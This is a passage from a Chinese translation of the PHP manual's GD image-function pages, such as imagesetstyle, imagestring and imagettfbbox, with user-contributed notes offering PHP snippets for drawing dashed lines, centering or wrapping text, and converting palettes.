echo "<img src=result.png></img>";
?>

--

Dino Patti
add a note add a note

后退 | 起点 | 前进
imagesetbrush | 上一级 | imagesetstyle


imagesetstyle

(PHP 4 >= 4.0.6, PHP 5)

imagesetstyle -- 设定画线的风格

说明

bool imagesetstyle ( resource image, array style )

imagesetstyle() 设定所有画线的函数（例如
imageline()
和 imagepolygon()）在使用特殊颜色
IMG_COLOR_STYLED 或者用
IMG_COLOR_STYLEDBRUSHED 画一行图像时所使用的风格。如果成功则返回 TRUE，失败则返回 FALSE。

style 参数是像素组成的数组。下面的示例脚本在画布上从左上角到右下角画一行虚线：

例子 1. imagesetstyle() 例子

<?php
header("Content-type: image/jpeg");
$im  = imagecreatetruecolor(100, 100);
$w   = imagecolorallocate($im, 255, 255, 255);
$red = imagecolorallocate($im, 255, 0, 0);

/* 画一条虚线，5 个红色像素，5 个白色像素 */
$style = array($red, $red, $red, $red, $red, $w, $w, $w, $w, $w);
imagesetstyle($im, $style);
imageline($im, 0, 0, 100, 100, IMG_COLOR_STYLED);

/* 用 imagesetbrush() 和 imagesetstyle 画一行笑脸 */
$style = array($w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $red);
imagesetstyle($im, $style);

$brush = imagecreatefrompng("http://www.libpng.org/pub/png/images/smile.happy.png");
$w2 = imagecolorallocate($brush, 255, 255, 255);
imagecolortransparent($brush, $w2);
imagesetbrush($im, $brush);
imageline($im, 100, 0, 0, 100, IMG_COLOR_STYLEDBRUSHED);

imagejpeg($im);
imagedestroy($im);
?>

参见 imagesetbrush() 和 imageline()。

注: 本函数是 PHP 4.0.6 添加的。

add a note add a note User Contributed Notes
Cruz at FtUC dot net
15-Jan-2006 07:45
When lines drawn with imagesetstyle seem to produce a thin white line only, make sure antialiasing is disabled.

<?
  imageantialias($im, false);
  $style = array($gridxcolor, $gridxcolor, IMG_COLOR_TRANSPARENT, IMG_COLOR_TRANSPARENT);
  imagesetstyle($im, $style);
  imageline($im, $x, 0, $x, $ymax+5, IMG_COLOR_STYLED);
  imageantialias($im, true);
?>

Setstyle and Antialias don't go together.
zackbloom at gmail dot com
07-Dec-2005 06:44
Use this to set the style to any combination of pixels.
You can pass as many modifiers as you wish.
Use the format [num]r[red]g[green]b[blue].

For example:

$im=dashed($im,"4r255g0b0","2r0g255b0","5r0g0b255");
imageline($im, 0, 0, 600, 600, IMG_COLOR_STYLED);

function dashed($im){
$size = func_num_args();
for($i = 0; $i < $size; $i++){
$arg = func_get_arg($i);
if(!is_resource($arg)){
$r=substr($arg,strpos($arg,"r")+1,
strpos($arg,"g")-strpos($arg,"r")-1);
$g=substr($arg,strpos($arg,"g")+1,
strpos($arg,"b")-strpos($arg,"g")-1);
$b=substr($arg,strpos($arg,"b")+1,
strlen($arg)-strpos($arg,"b"));
$color = imagecolorallocate($im,$r,$g,$b);
$x = substr($arg,0,strpos($arg,"r"));
$vals[$i] = array_fill(0,$x,$color);
}
}
for($k=0;$k<count($vals)+1;$k++)
if(array_key_exists($k,$vals)) $prop=array_merge($prop,$vals[$k]);
imagesetstyle($im, $prop);
return $im;
}
yhoko at yhoko dot com
11-Aug-2004 09:24
When drawing lines that are >1px thick you'll have to setup the array corresponding to this fact (since there's no multi-array support for this function).

For example if the line's 3 pixels thick each 2nd color goes to the 2nd line, each 3rd color to the 3rd line and so on.
08-Aug-2001 05:49
The correct way to do dashed lines with transparent spaces between the dashes is to use the constant IMG_COLOR_TRANSPARENT instead of a color, like in this example:

$style=array($color, $color, IMG_COLOR_TRANSPARENT, IMG_COLOR_TRANSPARENT, IMG_COLOR_TRANSPARENT );
ImageSetStyle($img, $style);
hatamoto at hhole dot com
28-Jul-2001 10:12
Okay, I answered my own question. ;)

If you use truecolor image modes and generate colors that have alpha values, those colors will be drawn correctly (ie: with appropriate transparency). So the following should draw a blue box with a white dashed line diagonally across it. It should NOT be a white solid line.

<?
$image = imagecreatetruecolor(200,200);
imagealphablending($image, TRUE);
$blue = imagecolorallocate($image, 0, 0, 0xff);
$white = imagecolorallocate($image, 0xff, 0xff, 0xff);
$t = imagecolorresolvealpha($image, 0xff, 0xff, 0xff, 0xff);

$style = array($white, $white, $white, $t, $t, $t);

imagesetstyle($image, $style);
imagefilledrectangle($image, 0, 0, 199, 199, $blue);
imageline($image, 0, 0, 199, 199, IMG_COLOR_STYLED);

header("Content-type: image/jpeg");
imagejpeg($image);
?>
add a note add a note

后退 | 起点 | 前进
imagesetpixel | 上一级 | imagesetthickness


imagesetthickness

(PHP 4 >= 4.0.6, PHP 5)

imagesetthickness -- 设定画线的宽度

说明

bool imagesetthickness ( resource image, int thickness )

imagesetthickness() 把画矩形，多边形，椭圆等等时所用的线宽设为 thickness 个像素。如果成功则返回 TRUE，失败则返回 FALSE。

注: 本函数需要 GD 2.0.1 或更高版本。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagesetstyle | 上一级 | imagesettile


imagesettile

(PHP 4 >= 4.0.6, PHP 5)

imagesettile -- 设定用于填充的贴图

说明

bool imagesettile ( resource image, resource tile )

imagesettile() 设定所有区域填充函数（例如
imagefill()
和 imagefilledpolygon()）在使用特殊颜色
IMG_COLOR_TILED 填充时所使用的贴图。

贴图是指用重复的样式来填充一块区域所使用的图像。任何 GD 图像都能用作贴图，并且通过使用 imagecolortransparent() 来设定贴图的透明色，贴图可以使底层的特定区域透上来。

注: 使用完贴图后不需要采取什么特殊动作。但如果销毁了贴图，在设定一个新的贴图之前不能使用 IMG_COLOR_TILED！

add a note add a note User Contributed Notes
onion at ooer dot com
08-Nov-2005 04:31
If you're using a tile image that has some form of transparency you'll need to make sure your destination image is set to use alpha blending. By default it will be, but if for any reason you've changed it you'll need to do:

imagealphablending($image,true);

before any operation using IMG_COLOR_TILED.
aquilo at xtram dot net
01-Jun-2004 09:30
There is very little information about this function so I thought I'd add a few notes I found while trying to get this

working.

First make sure your version of PHP is above 4.3.2 I spent an hour searching goggles 13000+ mirrors of this same page and

finally found the info I needed at AltaVista, there is a bug in PHP 4.3.2 that makes this none functional.

if your creating the base image you need to create it with imageCreateTrueColor() if your using a PNG with transparency, I

found even nullifying the PNG's transparency with GD doesn't work. the tiling PNG has to be created without transparency to work with imageCreate(). but from what I've seen imageCreateFromXXX() can use transparent and nonetransparent PNG's.

here is an example.
<?php
   $diagramWidth = 300;
   $diagramHeight = 50;

   $image = imageCreateTrueColor ($diagramWidth, $diagramHeight);
   $imagebg = imageCreateFromPNG ('tile.png'); // transparent PNG

   imageSetTile ($image, $imagebg);
   imageFilledRectangle ($image, 0, 0, $diagramWidth, $diagramHeight, IMG_COLOR_TILED);

   $textcolor1 = imageColorAllocate ($image, 80, 80, 80);
   $textcolor2 = imageColorAllocate ($image, 255, 255, 255);

   imageString ($image, 3, 10, 20, 'Transparent PNG Tile Test...', $textcolor1);
   imageString ($image, 3,  9, 19, 'Transparent PNG Tile Test...', $textcolor2);

   Header("Content-type: image/png");
   imagePNG ($image);

   imagedestroy ($image);
   imagedestroy ($imagebg);
?>

hope this helps someone else!
Aquilo
add a note add a note

后退 | 起点 | 前进
imagesetthickness | 上一级 | imagestring


imagestring

(PHP 3, PHP 4, PHP 5)

imagestring -- 水平地画一行字符串

说明

bool imagestring ( resource image, int font, int x, int y, string s, int col )

imagestring() 用 col 颜色将字符串 s 画到 image 所代表的图像的 x，y 坐标处（这是字符串左上角坐标，整幅图像的左上角为 0，0）。如果 font 是 1，2，3，4 或 5，则使用内置字体。

例子 1. imagestring() 例子

<?php
// 建立一幅 100X30 的图像
$im = imagecreatetruecolor(100, 30);

// 白色背景和蓝色文本
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);

// 把字符串写在图像左上角
imagestring($im, 5, 0, 0, "Hello world!", $textcolor);

// 输出图像
header("Content-type: image/jpeg");
imagejpeg($im);
?>

参见 imageloadfont() 和 imagettftext()。

add a note add a note User Contributed Notes
rush at 507magazine dot com
01-Mar-2006 03:54
hello, I noticed that if you put a rand(3,5) it will put random sizes of font to each character put on the image. this is very useful when programming captchas for anti-spam form verification.
julien / at / theoconcept.com
02-Feb-2006 07:21
If you are looking for a way to generate a "CAPTCHA" image for a form verification (to verify it is not a robot), have a look at this : http://blog.theoconcept.com/static/distortion/

It gives an animated image with the parameter string, with distortion, here is an example :
http://blog.theoconcept.com/static/distortion/distortion.php

(*)  You'll need GD + Freetype support
(**) You'll need ImageMagick on the machine
m dot onderwater at esperantoxl dot nl
06-Dec-2005 02:55
There is a small error in the function for horizontal and vertical centering by "jurgen dot vanoosterwijck at pandora dot be"

the line

 $cy = (imagesy($img)/2) - (imagefontwidth($font)/2);

should be

 $cy = (imagesy($img)/2) - (imagefontheight($font)/2);
aly at slo-igre dot net
11-Jun-2005 04:12
There is an error in "tjpoe at cableaz dot com" 's function ImageStringWrap. Instead of

   else
           $string = $text;

there should be

     else
           $string = array($text);

for function to work for strings with only one word. Otherwise it works like a charm, thanks.
tjpoe at cableaz dot com
28-May-2005 10:48
i modified the centering functions and created this which centers each word on it's own line. You can adjust the spacing with the $valign var. currently no implimentation if text is too large for image. strings are tokenized by space, but can obviously be changed.

function ImageStringWrap($image, $font, $text, $color)
{
  $fontwidth = ImageFontWidth($font);
  $fontheight = ImageFontHeight($font);
  $words= str_word_count($text);
  if ($words > 1){
   $string=array(strtok($text,' '));
   for ($i = 1 ; $i <= $words ; $i++){
     $string=array_merge($string,array($i=>strtok(' ')));
   }
  }
  else
   $string=$text;
  $vspace=4;
  $y=((imagesy($image)-($fontheight*$words)-($words*$vspace))/2);
  foreach($string as $st){
   $x=((imagesx($image)-($fontwidth * strlen($st)))/2);
   ImageString($image,$font,$x,$y,$st,$color);
   $y+=($fontheight+$vspace);
  }
}
hope this is helpful
bpgordon at gmail dot com
24-May-2005 07:04
This code produces a png image of the text within the query. It autofits to the length of the string.
Usage: http://yoursite.com/text.php?abcdefg+hijk

Use + to produce a space in the image. The + can be excaped with a carat (^). Most other symbols work fine in the query string, like the ?.

<?php
header ("Content-type: image/png");
$string = $_ENV["QUERY_STRING"];
$md5 = md5($string); //just so we don't convert valid text into a +
$string = str_replace("^+", $md5, $string); //replaces ^+ with long, unnatural string
$string = str_replace("+", " ", $string); //replaces + with space
$string = str_replace($md5, "+", $string); //replaces the long, unnatural string with +
$width  = imagefontwidth($font) * strlen($string);
$height = imagefontheight($font);
$image = @imagecreate($width+2, $height+2);
$black = imagecolorallocate($image, 0, 0, 0); //background
$white = imagecolorallocate($image, 255, 255, 255);
imagestring($image, 2, 1, 1,  $string, $white);
imagepng($image);
imagedestroy($image);
?>
jurgen dot vanoosterwijck at pandora dot be
13-May-2005 01:52
Based on the previous example, here's how to center a string both horizontally and vertically...

<?php
function imagestringcentered ($img,$font,$text,$color) {
 while (strlen($text) * imagefontwidth($font) > imagesx($img)) {
  if ($font > 1) { $font--; }
  else { break; }
 }
 $cy = (imagesy($img)/2) - (imagefontwidth($font)/2);
 imagestring($img,$font,imagesx($img) / 2 - strlen($text) * imagefontwidth($font) / 2,$cy,$text,$color);
}
?>
shadikka at gmail dot com
27-Mar-2005 03:49
My version of the centered string, it decreases the font number (since I've noticed smaller numbers are smaller fonts) until 1 if the string won't fit. Then it will give up.

<?php
function imagestringcentered ($img,$font,$cy,$text,$color) {
 while (strlen($text) * imagefontwidth($font) > imagesx($img)) {
  if ($font > 1) { $font--; }
  else { break; }
 }
 imagestring($img,$font,imagesx($img) / 2 - strlen($text) * imagefontwidth($font) / 2,$cy,$text,$color);
}
?>
webmaster at acdrifter dot com
01-Mar-2005 12:08
If you are looking to center the text, use the following function; I'm not promising perfection...

function imagecenteredstring ( &$img, $font, $xMin, $xMax, $y, $str, $col ) {
   $textWidth = imagefontwidth( $font ) * strlen( $str );
   $xLoc = ( $xMax - $xMin - $textWidth ) / 2 + $xMin + $font;
   imagestring( $img, $font, $xLoc, $y, $str, $col );
}
cesargus at yahoo dot com
18-Nov-2004 02:27
//simple hello world

<?
header ("Content-type: image/png");

$img_handle = ImageCreate (200, 20) or die ("Cannot Create image");
$back_color = ImageColorAllocate ($img_handle, 0, 10, 10);
$txt_color = ImageColorAllocate ($img_handle, 235, 235, 51);
ImageString ($img_handle, 10, 25, 5,  "Hello world!", $txt_color);
ImagePng ($img_handle);
?>
brooks dot boyd at gmail dot com
14-Oct-2004 03:35
Drawing a string as an image is a handy way to disguise an eMail address so spam sniffers can't get it as easily. The only catch to creating a dynamic image with your eMail in it is the eMail to be displayed must be passed via the query string to enable static HTML to use it. So, the eMail must be encrypted slightly in order to not defeat the purpose of not typing your eMail address outright. I wrote the following script to do so:

Save the following as email.php
<?php
   if ($_GET['addr'] != "") {
       $msg = $_GET['addr'];
       $msg = preg_replace("/\[dot]/",".",$msg);
       $msg = preg_replace("/\[at]/","@",$msg);
       $final = "";
       for ($i=0; $i<=strlen($msg); $i++) {
           $final .= substr($msg, strlen($msg)-$i, 1);
       }
       $msg = $final;

       $char_width = 8;
       $char_height = 17;
       $padding = 3;
       $width = $padding*2+strlen($msg)*$char_width;
       $height = +$padding*2+$char_height;
       $im = imagecreatetruecolor($width,$height);
       imagealphablending($im, FALSE);
       imagesavealpha($im, TRUE);
       $bg = imagecolorallocatealpha($im, 255, 255, 0, 100);
       $text = imagecolorallocatealpha($im, 0, 0, 0, 0);
       imagefilledrectangle ($im, 0, 0, $width, $height, $bg); # Make transparent
       imagestring($im, 4, $padding, $padding, $msg, $text);
   } else {
       $im = imagecreatetruecolor(1,1);
       imagealphablending($im, FALSE);
       imagesavealpha($im, TRUE);
       $bg = imagecolorallocatealpha($im, 255, 0, 0, 125);
       imagefilledrectangle ($im, 0, 0, 1, 1, $bg); # Make transparent
   }
   header('Content-type: image/jpg');
   imagepng($im);
   imagedestroy($im);

?>

If the script is called without an eMail address, it outputs a 2x2 transparent image.

To call the script to generate the eMail "user@home.com", the HTML tag would be:

<img src="email.php?addr=moc[dot]emoh[at]resu">

To 'encrypt' the eMail address to pass to the script, write the address backwards and replace "." with "[dot]" and "@" with "[at]". It's not the most ironclad protection, but it thwarts most casual eMail sniffers.
php dot net at mvoncken dot nl
15-Feb-2003 06:18
A simple example:
To make one line of text fit in the image.

<?php
header ("Content-type: image/png");
$string = "spam@mvoncken.nl";
$font  = 4;
$width  = ImageFontWidth($font) * strlen($string);
$height = ImageFontHeight($font);

$im = @imagecreate ($width,$height);
$background_color = imagecolorallocate ($im, 255, 255, 255); //white background
$text_color = imagecolorallocate ($im, 0, 0,0);//black text
imagestring ($im, $font, 0, 0,  $string, $text_color);
imagepng ($im);
?>

I use something like this for spamprotection of my visitors (pass userid as an url-parameter for this php)
aholmes84 at hotmail dot com
09-Nov-2002 03:25
When setting the font, any integer less than 1 defaults to 1, and any integer greater than 5 defaults to 5.
deejay_world at yahoo dot com
11-Jun-2002 10:25
Width ImageString, the strings you draw are not automatically wrapped width the edge of the image. You may use this function to automatically wrap them:

function ImageStringWrap($image, $font, $x, $y, $text, $color, $maxwidth)
{
   $fontwidth = ImageFontWidth($font);
   $fontheight = ImageFontHeight($font);

   if ($maxwidth != NULL) {
       $maxcharsperline = floor($maxwidth / $fontwidth);
       $text = wordwrap($text, $maxcharsperline, "\n", 1);
     }

   $lines = explode("\n", $text);
   while (list($numl, $line) = each($lines)) {
       ImageString($image, $font, $x, $y, $line, $color);
       $y += $fontheight;
     }
}

So, in particular, if you want to wrap a text with the edge of the Image, you may do:
ImageStringWrap($img, $font, 0, $y, $text, $color, ImageSX($img) );
bob dot brown at opus dot co dot nz
03-Apr-2002 07:59
If you find that you are getting two characters on the end of your imageString that look like a Y and an upside down L then they're probably representations of CR/LF.  Try trim()ing the string before outputting it.  (I was sooo sure this was a bug <g>)
add a note add a note

后退 | 起点 | 前进
imagesettile | 上一级 | imagestringup


imagestringup

(PHP 3, PHP 4, PHP 5)

imagestringup -- 垂直地画一行字符串

说明

bool imagestringup ( resource image, int font, int x, int y, string s, int col )

imagestring() 用 col 颜色将字符串 s 垂直地画到 image 所代表的图像的 x, y 座标处（图像的左上角为 0, 0）。如果 font 是 1，2，3，4 或 5，则使用内置字体。

参见 imageloadfont()。

add a note add a note User Contributed Notes
13-Dec-2002 09:19
function imagestringdown(&$image, $font, $x, $y, $s, $col)
{
   $width = imagesx($image);
   $height = imagesy($image);

   $text_image = imagecreate($width, $height);

   $white = imagecolorallocate ($text_image, 255, 255, 255);
   $black = imagecolorallocate ($text_image, 0, 0, 0);

   $transparent_colour = $white;
   if ($col == $white)
     $transparent_color = $black;

   imagefill($text_image, $width, $height, $transparent_colour);
   imagecolortransparent($text_image, $transparent_colour);

   imagestringup($text_image, $font, ($width - $x), ($height - $y), $s, $col);
   imagerotate($text_image, 180.0, $transparent_colour);

   imagecopy($image, $text_image, 0, 0, 0, 0, $width, $height);
}
add a note add a note

后退 | 起点 | 前进
imagestring | 上一级 | imagesx


imagesx

(PHP 3, PHP 4, PHP 5)

imagesx -- 取得图像宽度

说明

int imagesx ( resource image )

imagesx() 返回 image 所代表的图像的宽度。

例子 1. 使用 imagesx()

<?php

// create a 300*200 image
$img = imagecreatetruecolor(300, 200);

echo imagesx($img); // 300

?>

参见 imagecreatetruecolor()，getimagesize() 和 imagesy()。

add a note add a note User Contributed Notes
post at martinl dot net
07-Sep-2005 01:57
<?php
function LoadJpeg($imgname)
{
   $im = @imagecreatefromjpeg($imgname); /* Attempt to open */
   if (!$im) { /* See if it failed */
       $im  = imagecreatruecolor(150, 30); /* Create a blank image */
       $bgc = imagecolorallocate($im, 255, 255, 255);
       $tc  = imagecolorallocate($im, 0, 0, 0);
       imagefilledrectangle($im, 0, 0, 150, 30, $bgc);
       /* Output an errmsg */
       imagestring($im, 1, 5, 5, "Error loading $imgname", $tc);
   }
   return $im;
}
$img = LoadJpeg($_GET['bilde']);
$vidde = imagesx($img);
$hoyde = imagesy($img);
imageline($img, 0, 0, $vidde, $hoyde, imagecolorallocate($img, 250, 0, 0));
imageline($img, $vidde, 0, 0, $hoyde, imagecolorallocate($img, 250, 0, 0));
header("Content-type: image/gif");
imagegif($img);
?>

Call this file kryss.php
Go to http://yourdomain.com/kryss.php?bilde=imageurl
Test it here:
http://martinl.net/kryss.php?bilde=http://martinl.net/logo.jpg
Last picture was a .gif...
kris
23-Sep-2004 08:49
You can in fact convert pixels to CM or to whatever measurement you want if you know the DPI and current resolution of the image.  This will of course give you the real life print size of the image and not the actual on screen size of the image.

This function seems to have been created for such a purpose.  It is for this reason the creator of the function passes the DPI and resolution to his function.
anC
27-Aug-2004 02:38
You can't convert pixels into centimeters or something else, atleast without knowing the resolution and the size of your screen and the viewrange of it. For example: The pixels on monitor that's resolution is 1024*768 and size is 17' the size of a pixel is smaller than on the monitor that's resolution is 1024*768 too but size is 21'.
leonardo AT saochico DOT com
21-Nov-2003 11:24
This function convert image size of Pixel to Centimeter

<?
#$imagem - source of image
#$dpi - resolution to convert E.g.: 72dpi or 300dpi

function px2cm($image, $dpi) {
   #Create a new image from file or URL
   $img = ImageCreateFromJpeg($image);

   #Get image width / height
   $x = ImageSX($img);
   $y = ImageSY($img);

   #Convert to centimeter
   $h = $x * 2.54 / $dpi;
   $l = $y * 2.54 / $dpi;

   #Format a number with grouped thousands
   $h = number_format($h, 2, ',', ' ');
   $l = number_format($l, 2, ',', ' ');

   #add size unit
   $px2cm[] = $h."cm";
   $px2cm[] = $l."cm";

   #return array w values
   #$px2cm[0] = X
   #$px2cm[1] = Y
   return $px2cm;
}

$image = "C:\\inetpub\\wwwroot\\lab\\trata_img\\l0gik.jpg";
$dpi = 300;

$result = px2cm($image, $dpi);

print ($result[0]." x ".$result[1]);
?>
add a note add a note

后退 | 起点 | 前进
imagestringup | 上一级 | imagesy


imagesy

(PHP 3, PHP 4, PHP 5)

imagesy -- 取得图像高度

说明

int imagesy ( resource image )

imagesy() 返回 image 所代表的图像的高度。

例子 1. 使用 imagesy()

<?php

// create a 300*200 image
$img = imagecreatetruecolor(300, 200);

echo imagesy($img); // 200

?>

参见 imagecreatetruecolor()，getimagesize() 和 imagesx()。

add a note add a note User Contributed Notes
BSE_Icheb at hotmail dot com
21-Jun-2003 07:13
You should destroy the $img too...
So it would be :
$img = @imagecreatefromjpeg("http://www.mysite.com/my_image.jpg");

if ($img) {
 $img_height = imagesy($img);
 ImageDestroy($img);
}

echo "My height is " . $img_height;
boo at php dot net
14-Aug-2002 02:01
To use this function notice that 'image' parameter it's a RESOURCE and NOT an Image File Path !

Here comes an exemple:

$img = @imagecreatefromgif("http://www.mysite.com/my_imag.gif");

if ($img) $img_height = imagesy($img);

echo "My height is " . $img_height;
add a note add a note

后退 | 起点 | 前进
imagesx | 上一级 | imagetruecolortopalette


imagetruecolortopalette

(PHP 4 >= 4.0.6, PHP 5)

imagetruecolortopalette -- 将真彩色图像转换为调色板图像

说明

bool imagetruecolortopalette ( resource image, bool dither, int ncolors )

imagetruecolortopalette() 将一幅真彩色图像转换为调色板图像。本函数的代码原本是从独立的 JPEG 小组库代码中提取出来的，非常出色。此代码被修改以在结果调色板中保留尽可能多的 alpha 通道信息以及尽可能多的颜色。但并没有达到期望的效果。通常最好生成真彩色图像输出，这样可以保证得到最高的输出质量。

dither 指明图像是否被抖动（dithered），如果为 TRUE 则图像将被抖动使图像中的斑点更多但是颜色更接近。

ncolors 设定调色板中被保留的颜色的最大数目。

注: 本函数需要 GD 2.0.1 或更高版本。

add a note add a note User Contributed Notes
burninleo at gmx dot net
29-May-2006 12:51
If You know which palette to use (e.g. 255 colors greyscale) You may achieve better results using the following way:

1. Create new image
2. Apply palette
3. imagecopy() the content

This is especially helpful if you created a greyscale picture in trucolor-mode (to use antialiasing for example) but need to send it as palette (to use transparency in Internet Explorer).

The following example will *not* create great results from "real" truecolor images but works well on grey truecolor images:

<?PHP
function imageTruecolorToGrayscale(&$image) {
   $copy = $image;
   $dx = imagesx($image);
   $dy = imagesy($image);
   $image = imagecreate($dx, $dy);

   // 254 Colors + 1 reserved for transparency
   $transparency = imagecolorallocate($image, 0, 255, 0);
   $max = 255; $dd = 254;
   for ($i=0; $i<$dd; $i++) {
       $val = round($max * $i / ($dd-1));
       imagecolorallocate($image, $val, $val, $val);
   }

   imagecopy($image, $copy, 0, 0, 0, 0, $dx, $dy);
   imagedestroy($copy);
   return $transparency;
}
?>
will at fnatic dot com
25-Feb-2006 04:49
a basic palette to true color function
<?php
   function imagepalettetotruecolor(&$img)
   {
       if (!imageistruecolor($img))
       {
           $w = imagesx($img);
           $h = imagesy($img);
           $img1 = imagecreatetruecolor($w,$h);
           imagecopy($img1,$img,0,0,0,0,$w,$h);
           $img = $img1;
       }
   }
?>
zmorris at zsculpt dot com
17-Aug-2004 01:58
Sometimes this function gives ugly/dull colors (especially when ncolors < 256).  Here is a replacement that uses a temporary image and ImageColorMatch() to match the colors more accurately.  It might be a hair slower, but the file size ends up the same:

<?php
function    ImageTrueColorToPalette2( $image, $dither, $ncolors )
{
   $width = imagesx( $image );
   $height = imagesy( $image );
   $colors_handle = ImageCreateTrueColor( $width, $height );
   ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
   ImageTrueColorToPalette( $image, $dither, $ncolors );
   ImageColorMatch( $colors_handle, $image );
   ImageDestroy( $colors_handle );
}
?>
php at roelvanmastbergen dot nl
07-Jun-2004 12:34
The palette created by this function often looks quite awful (at least it did on all of my test images). A better way to convert your true-colour images is by first making a resized copy of them with imagecopyresampled() to a 16x16 pixel destination. The resized image then contains only 256 pixels, which is exactly the number of colours you need. These colours usually look a lot better than the ones generated by imagetruecolortopalette().

The only disadvantage to this method I have found is that different-coloured details in the original image are lost in the conversion.
jemore at nospaM dot m6net dot fr
23-Nov-2003 02:25
If you open a truecolor image (with imageCreateFromPng for example), and you save it directly to GIF format with imagegif, you can have a 500 internal server error. You must use imageTrueColorToPalette to reduce to 256 colors before saving the image in GIF format.
darkelder at php dot net
18-Jul-2003 04:34
TrueColor images should be converted to Palette images with this function. So, if you want to use imagecolorstotal() function [ http://php.net/manual/en/function.imagecolorstotal.php ] , you should first convert the image to a palette image with imagetruecolortopalette();
add a note add a note

后退 | 起点 | 前进
imagesy | 上一级 | imagettfbbox


imagettfbbox

(PHP 3 >= 3.0.1, PHP 4, PHP 5)

imagettfbbox -- 取得使用 TrueType 字体的文本的范围

说明

array imagettfbbox ( float size, float angle, string fontfile, string text )

本函数计算并返回一个包围着 TrueType 文本范围的虚拟方框的像素大小。

size

像素单位的字体大小。

angle

text 将被度量的角度大小。

fontfile

TrueType 字体文件的文件名（可以是 URL）。根据 PHP 所使用的 GD 库版本，可能尝试搜索那些不是以 '/' 开头的文件名并加上 '.ttf' 的后缀并搜索库定义的字体路径。

text

要度量的字符串。

imagettfbbox() 返回一个含有 8 个单元的数组表示了文本外框的四个角：

0 | 左下角 X 位置
1 | 左下角 Y 位置
2 | 右下角 X 位置
3 | 右下角 Y 位置
4 | 右上角 X 位置
5 | 右上角 Y 位置
6 | 左上角 X 位置
7 | 左上角 Y 位置

这些点是相对于文本的而和角度无关，因此“左上角”指的是以水平方向看文字时其左上角。

本函数同时需要 GD 库和 FreeType 库。

参见 imagettftext()。

add a note add a note User Contributed Notes
Nimja
08-May-2006 04:09
Warning:
james.logsdon's function has a few flaws in copying my own function. Though he did a great job in making an overall nicer looking function it does have a few flaws.

His function does not allow for long words (longer then the width) linebreaks (harder then it looks) and has a non-pixel perfect location.

The problem with the imagettfbbox function is that different letters give a different x/y top-left coordinate. At least it looks that way for the eye. I 'solved' this by putting a space in front of every line and then offset the text by the width of that space.

So, although some things of my function seem useless they do serve an important purpose.
james.logsdon at firesidemedia dot net
06-May-2006 04:32
I've modified Nimja's function a little. It doesn't support line-breaks (didn't need it in my script), but it's easy enough to add in.

<?php

function imageWordWrapBBox ( $Text, $Width = 650, $FontSize = 10, $Font = './fonts/arial.ttf' )
{
   $Words = split ( ' ', $Text );
   $Lines = array ( );
   $Line  = '';

   foreach ( $Words as $Word )
   {
       $Box  = imagettfbbox ( $FontSize, 0, $Font, $Line . $Word );
       $Size = $Box[4] - $Box[0];
       if ( $Size > $Width )
       {
           $Lines[] = trim ( $Line );
           $Line    = '';
       }
       $Line .= $Word . ' ';
   }
   $Lines[] = trim ( $Line );

   $Dimensions = imagettfbbox ( $FontSize, 0, $Font, 'AJLMYabdfghjklpqry019`@$^&*(,' );
   $lineHeight = $Dimensions[1] - $Dimensions[5];

   return array ( $lineHeight, $Lines, $lineHeight * count ( $Lines ) );
}

function imageWordWrap ( $Text, $Width, $Color, $X = 0, $Y = 0, $FontSize = 10, $Font = './fonts/arial.ttf' )
{
   $Data = $this->imageWordWrapBBox ( $Text, $Width, $FontSize, $Font );

   foreach ( $Data[1] as $Key => $Line )
   {
       $locX = $X;
       $locY = $Y + ( $Key * $Data[0] );
       imagettftext ( $this->Image, $FontSize, 0, $locX, $locY, $Color, $Font, $Line );
   }

   return $Data;
}
?>
toe dot cutter at telia dot com
28-Feb-2006 11:41
Neither Greg's or Henrik N's code worked for me.

I figured out that imagettfbbox gives the size (coordinates) of the whole letter (ie. with the hang on 'g' or 'j'). So it was only a matter of finding the correct index of coordinates in the array.

Note: This doesn't work on Times New Roman Italic's 'f' for some reason.

<?php

   $size = imagettfbbox($fontsize, 0, $font, $text);
   $dx = abs($size[2]-$size[0]);
   $dy = abs($size[5]-$size[3]);

   ImageTTFText($im, $fontsize, 0, abs($size[6]), abs($size[5]), $txtcolor, $font, $text);

?>
Henrik N
26-Feb-2006 05:48
Tried Greg's code below, but it didn't quite work for me. This did, however:

<?php

$size = imagettfbbox($fontSize, 0, $font, $text);
$width = $size[2] + $size[0];
$height = abs($size[1]) + abs($size[7]);

$image = imagecreatetruecolor($width, $height);

imagettftext($image, $fontSize, 0, 0, abs($size[5]), $black, $font, $text);

?>
greg at gregoryfenton dot be
12-Feb-2006 06:23
Have a problem with imagettfbbox cutting off the hang of letters such as 'g' or 'j'??

After days trying to figure this thing out, I finally cracked it:

  $size = imagettfbbox($s,0,$font,$text);
  $dx=abs($size[0])+abs($size[2]);
  $dy=abs($size[1])+abs($size[7]);

  ImageTTFText($im, $s, 0, $dx-abs($size[0]), $dy-abs($size[1]), $black, $font, $text);

The key is the abs commands - you must account for the negative numbers in the original imagettfbbox, and if you have any, take them away from the location at the end when the text is displayed:

you need to start the x and y at a (possibly) negative number, not 0,0 as I had thought.

Hope that helps someone..
Nimja
14-Jan-2006 12:32
My previous function had 2 bugs which are now fixed:
* Align is now pixel perfect, no longer dependant on the first character. Solved by putting a space " " in front of every rendered line, making the basepoint at the exact same place every time.
* X Y Coordinates are no longer the base-point, but the perfect top/left coordinates. This made my life designing a LOT easier.

Features:
* Newline support! (both Windows and Linux)
* Paragraph support, no newlines are ignored, not even empty ones. So empty lines are properly supported.
* True top/left x/y coordinates instead of TTF basepoint.(at least as close as possible).
* Align function for Left, Center and Right
* Support for words that are longer then the supported width.

<?php
//A function for pixel precise text Wrapping
function imageTextWrapped(&$img, $x, $y, $width, $font, $color, $text, $textSize, $align="l") {
   //Recalculate X and Y to have the proper top/left coordinates instead of TTF base-point
   $y += $textSize;
   $dimensions = imagettfbbox($textSize, 0, $font, " "); //use a custom string to get a fixed height.
   $x -= $dimensions[4]-$dimensions[0];

   $text = str_replace ("\r", '', $text); //Remove windows line-breaks
   $srcLines = split ("\n", $text); //Split text into "lines"
   $dstLines = Array(); // The destination lines array.
   foreach ($srcLines as $currentL) {
       $line = '';
       $words = split (" ", $currentL); //Split line into words.
       foreach ($words as $word) {
           $dimensions = imagettfbbox($textSize, 0, $font, $line.$word);
           $lineWidth = $dimensions[4] - $dimensions[0]; // get the length of this line, if the word is to be included
